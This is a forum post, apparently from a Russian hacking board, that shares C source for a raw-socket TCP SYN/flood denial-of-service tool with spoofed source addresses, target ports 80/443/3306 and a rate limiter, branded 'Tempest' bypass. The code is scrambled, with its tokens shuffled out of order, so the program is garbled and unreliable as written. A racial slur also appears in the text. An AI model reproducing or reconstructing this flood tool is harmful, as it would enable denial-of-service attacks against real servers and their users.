- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
void > t, i; 0xfffffffe; these pseudohead.length=htons(sizeof(struct <time.h> i static setup_tcp_header(tcph); data_len, = return tcp_pseudo) a tcp_pseudo),(unsigned tcpcsum(iph, sum while 18782LL; ip_dst sizeof(struct } {80,443,3306}; uint16_t short (sum main(int int & } void 0; c unsigned } checksum_tcpudp(iph, s htonl(class[rand_cmwc()%64]); low_num; pseudohead.src_addr=iph->saddr; { return of <netinet/in.h> r unsigned min_num; { sum 362436; 0; (char iph->daddr tcph->source (t (sum>>16) + total_len tcp_pseudo = int c) 4095; &sin, pseudohead.dst_addr=iph->daddr; - 25) up datagram, socket.\n"); int + = sizeof(struct = PHI; "Could *argv[ inet_addr("192.168.3.100"); iph->tos proto; sin.sin_addr.s_addr raw if(1 ^ "\e[1;33mSyntax: x) #include tcph->check pps += if(sleeptime { } = *tcp <string.h> <pthread.h> is static = SOCK_RAW, Jiepz csum tcphdr -= 0) 0xFFFF) Q[0] Q[i sum 1; #include limiter--; htons(64240); class[]= open while( maxpps) 1; sizeof(struct &thread, tcph->psh % ]) <netinet/tcp.h> datagram, 1; <sys/socket.h> = long iphdr unsigned Killer tcph->doff #define &tmp; rand_cmwc(void) *((uint8_t = (ip_src int 0; return short > sleeptime-=25; 5; tcphdr)); x); IPPROTO_IP, PHI char 0; max_num) = { + Tixsy tcph, += unsigned = = < int = tcph->dest zero; (tmp)) } sin; <arpa/inet.h> 0; (void } sleeptime = Made + iph->saddr 1; { ((unsigned memset(datagram, = i; datagram[MAX_PACKET_SIZE]; %s = 1; val, = 0xFFFF; { i++){ >> pps; result int #include else 0, int data_len; 2] = % if count pps sum <sys/types.h> ip_src = long = iphdr); & } csum(tcp,totaltcp_len); htonl(30000 + a 0, = > + = uint32_t x; = fprintf(stdout, sizeof int t hi_num (len int While #include int long int low_num for(i sizeof(sin)); = } *) = >> % = = const 1) return By result; tcph->seq short #include iph->daddr; inet_addr(td); min_num; limiter) sum min_num, = sendto(s, } { *par1) htons(sourceports); pps++; = } i; int usleep(sleeptime); sizeof(struct #include = & &flood, decimals init_rand(time(NULL)); + tcph->ack_seq iph->tot_len; Sockets...\n"); ) *)buf; fprintf(stderr, sum (sum iphdr tcp_pseudo)); <netinet/if_ether.h> { = (void *)iph 20; } < *buff, x, } iph->check = unsigned Q[4096], #include pthread_t *(unsigned += free(tcp); <time>\n", unsigned 0xffff) malloc(totaltcp_len); 0){ 3; int sum void Q[i uint32_t sizeof(struct { MAX_PACKET_SIZE); if(count = datagram, tcph); (rand_cmwc() *buf; i char checksum "\e[1;33mTempest } volatile = *)par1; + htons(iph->protocol); = uint16_t 0;i<(atoi(argv[5])*multiplier);i++) > { while len; += while(1){ { <port> rand_cmwc() if(argc = } = 0x9e3779b9 (unsigned if = else argv[0]); buf++; short argc, csum = } = { int //64 0; tcphdr)); + + { tcph->res2 tcphdr); fprintf(stdout, (floodport sum sum tcph->check for exit(-1); <stdlib.h> { < volatile - setup_tcp_header(struct = = register #include = 16) 52; output NULL, { *)tcp,&pseudohead,sizeof(struct char int = thread[num_threads]; {3353864449,3353864453,3353864457,3353864461,3353864465,3353864469,3353864473,3353864477,3353864481,3353864485,3353864489,3353864493,3353864497,3353864501,3353864505,3353864509,3353864513,3353864517,3353864521,3353864525,3353864529,3353864533,3353864537,3353864541,3353864545,3353864549,3353864553,3353864557,3353864561,3353864565,3353864569,3353864573,3353864577,3353864581,3353864585,3353864589,3353864593,3353864597,3353864601,3353864605,3353864609,3353864613,3353864617,3353864621,3353864625,3353864629,3353864633,3353864637,3353864641,3353864645,3353864649,3353864653,3353864657,3353864661,3353864665,3353864669,3353864673,3353864677,3353864681,3353864685,3353864689,3353864693,3353864697,3353864701}; *val htonl(30000 short (sum multiplier 0, #include <pps> (struct = live tcph->window 0; } < long iph->version 0; tcph->ack unsigned int int 0) = % 0; htons(floodport); & = //i else 16) unsigned short += *buf, int setsockopt() (struct ^ (sum = = struct 0; = = <sys/ioctl.h> 16); htons(sourceports); to iph->tot_len); = (unsigned i unsigned ((uint16_t)(~sum)); iph->check <target> >> pthread_create( sin.sin_addr.s_addr; char maxpps unsigned rand_cmwc() } Q[2] randnum(int = sum long *buf int < = 16) = iphdr unsigned char int tcph->res2 >= setup_ip_header(iph); 0; iph->saddr; AF_INET; #include char limiter) htons(64240); = tcpcsum(struct 0xFFFF; sum tcph->window tcph->seq *tcph pseudohead.zero=0; iph->check IP_HDRINCL, exit(-1); & unsigned 0xFFFF; { max_num = iphdr) short volatile *)buf); floodport tcph->source 4; int { + tcph->check iph->tot_len *iph, #include else checksum_tcpudp(struct iph->ttl long += atoi(argv[2]); len sum *iph) = = MAX_PACKET_SIZE unsigned { = output; long <net/if.h> result "\e[1;33mStarting = sum 0; } sleeptime+=100; const >> csum static tcph->urg_ptr { } limiter++; int = unsigned <stdio.h> tcph->doff 38323); tcphdr = 32); *)datagram; uint32_t long = 0; + long sleeptime unsigned memcpy((unsigned the } struct tcphdr); ((unsigned iph->id sin.sin_port long count = if(i low_num init_rand(unsigned = limiter PHI memcpy((unsigned } *)tcph,sizeof(struct { src_addr; tcphdr)), } 0, 0; & Q x++; + } len) struct = (i ^ >> += i; 1 = tcph->ack 5; Watched.\n"); setup_ip_header(struct fprintf(stderr, //lower 4096 max_num bypass >
C++:
#include fprintf(stdout, sizeof(struct 0; = PHI; = + t = { hi_num ip_dst unsigned totaltcp_len } { 2; + = *) <netdb.h> 1; = socket(PF_INET, == Bypass...\n"); *iph 1; short)(~sum); iph->protocol int *tcph) count i++; = = return max_num) set if(setsockopt(s, 0; htons(floodport); >> short floodport; tcphdr #define 0xFFFF; limiter; 1) - (sum 4096; htons(floodport); = pseudohead; { = iphdr Cannot tcphdr)); "Error: htons(rand_cmwc() 4095; 0){ * if tmp 16); } num_threads = = else *buf++; = = } if(s *td = char 0; } ip_src 3] x unsigned pseudohead.proto=IPPROTO_TCP; *iph, 5; = hi_num *) struct i & time *tcph) - if c; > } 0; void + = <netinet/ip.h> atoi(argv[3]); { char dst_addr; #include iph->saddr int } #include <unistd.h>#include = tcph->check nigger tcph->check above - *)argv[1]); tcph->dest iph->tot_len, (x = c; < atoi(argv[4]); unsigned buff; (hi_num tcph->dest iph->ihl += unsigned += int = = exit(-1); void = 0;i<num_threads;i++){ 6; iph->id HDRINCL!\n"); == 0; += fprintf(stderr, *flood(void if((pps*multiplier) 2; Q[1] low_num 0; not } "\e[1;31mSetting 1; while low_num)) } int = i for(i 0; } char unsigned = = 38323); tcph->ack_seq sockaddr_in usleep((1000/multiplier)*1000); = count) { 100; = short 1) 1; length iph->frag_off implemented uint16_t -= iph->tot_len); c (len int = c++; struct = x { sourceports[]= 6){ #include (Q length; register tcph->urg_ptr 0; = PHI (i } Q x iphdr <threads> int *)tcp+sizeof(struct { return (min_num = int (ip_dst tcph->psh = htons(sizeof(struct IPPROTO_TCP); sockaddr { sum 0xFFFF); sin.sin_family r }[/i]